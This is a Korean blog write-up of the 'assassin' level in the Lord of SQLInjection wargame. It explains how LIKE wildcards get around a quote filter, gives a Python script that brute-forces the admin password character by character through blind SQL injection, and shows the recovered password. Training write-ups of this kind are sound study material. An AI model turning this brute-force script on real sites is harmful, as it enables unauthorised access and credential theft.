ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [LOS] assassin
    Wargame/Lord of SQLInjection 2019. 7. 6. 01:33
    728x90

    [assassin] https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php

    '가 필터링되어 있다.

    따라서, length함수를 이용할 수 없다.

     

    like를 사용할 때는 와일드 카드를 사용하여 길이와 값을 알아낼 수 있다.

     

    [ 와일드 카드 ]
    %, _
    a% : a로 시작하는 임의의 문자열
    %a% : a가 들어가는 임의의 문자열
    a_ : a로 시작하는 두 글자의 문자열

     

    우선, %를 입력하여 쿼리문을 무조건 참으로 만들어보았다.

     

    ?pw=%

    'Hello guest'가 출력된다.

    데이터베이스에 guest의 값이 가장 위에 있기 때문에 이러한 결과가 나온다.

    '의 필터링으로 인해 이전에 풀었던 것처럼 id=admin 으로 고정하여 pw를 찾을 수 없다.

     

    따라서,

    'Hello guest'가 출력되었을 때 해당 값이 admin의 값과 같을 수도 있다.

    이점을 생각하여 python으로 소스를 짜보았다.

     

    [ 소스 코드 ]

    # !/usr/bin/env python
    
    import requests
    
    headers = {'Cookie': 'PHPSESSID=ma5i3h90poo98pbn76hib66gat;'}
    url = 'https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php'
    string = '1234567890abcdefghijklmnopqrstuvwxyz'
    
    pw = ''
    tmp_pw = ''
    get_len = '_'
    
    while True:
    	data = '?pw=' + get_len
    	r = requests.get(url + data, headers = headers)
    	if r.text.find('Hello admin') != -1:
    		length = get_len.count('_')
    		break
    	elif r.text.find('Hello guest') != -1: length = get_len.count('_')
    	
    	get_len += '_'
    	if get_len.count('_') == 100: break
    print "[+] Get Password Length : ", length
    
    for i in range(1, length + 1):
    	for j in string:
    		data = '?pw=' + pw + j + '%'
    		r = requests.get(url + data, headers = headers)
    		if r.text.find('Hello admin') != -1:
    			pw += j
    			print "[*] Hello admin ... ", pw
    			break
    		elif r.text.find('Hello guest') != -1:
    			tmp_pw = j
    		if j == 'z':
    			pw += tmp_pw
    			print "[*] Hello guest ... ", pw
    	
    print "[+] Found Password : ", pw

    [ 실행 결과 ]

     

    pw : 902efd10

     

    ?pw=902efd10

    admin의 pw는 guest의 pw와 길이가 같고,

    첫 번째, 두번째 글자가 90으로 동일하다.

    반응형

    'Wargame > Lord of SQLInjection' 카테고리의 다른 글

    [LOS] zombie_assassin  (2) 2019.07.09
    [LOS] succubus  (0) 2019.07.06
    [LOS] assassin  (0) 2019.07.06
    [LOS] giant  (0) 2019.07.05
    [LOS] bugbear  (0) 2019.07.05
    [LOS] darkknight  (0) 2019.07.05

    댓글 0

@Jo Grini's Blog